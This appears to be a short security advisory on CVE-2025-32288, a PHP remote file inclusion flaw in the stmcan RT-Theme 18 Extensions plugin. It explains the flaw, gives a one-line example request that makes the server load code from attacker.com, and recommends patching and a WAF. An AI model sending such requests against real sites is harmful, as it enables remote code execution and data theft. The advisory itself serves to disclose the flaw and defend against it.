Overview
The vulnerability identified as CVE-2025-32288 is a critical security flaw that impacts stmcan RT-Theme 18 Extensions. It involves an Improper Control of Filename for Include/Require Statement in PHP Program, commonly known as PHP Remote File Inclusion. The flaw is of significant concern as it opens a potential gateway for system compromise and data leakage.
Vulnerability Summary
CVE ID: CVE-2025-32288
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
Product | Affected Versions
stmcan RT-Theme 18 | Extensions: n/a – 2.4
How the Exploit Works
The vulnerability stems from the improper control of filenames for the include/require statement in the PHP program. An attacker can manipulate the filesystem references in PHP applications, causing the application to include a remote file that contains malicious code. This file executes on the server, offering the attacker a chance to compromise the system or leak data.
Conceptual Example Code
Here is a
conceptual
example of how the vulnerability might be exploited:
GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com
In this example, the attacker manipulates the “file” parameter to include a remote file (malicious_file.txt) hosted on their server (attacker.com). When the request is processed, the server fetches and executes the malicious code contained in malicious_file.txt.
Mitigation
It is advised to apply the vendor-provided patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the risk by identifying and blocking attempts to exploit this vulnerability.
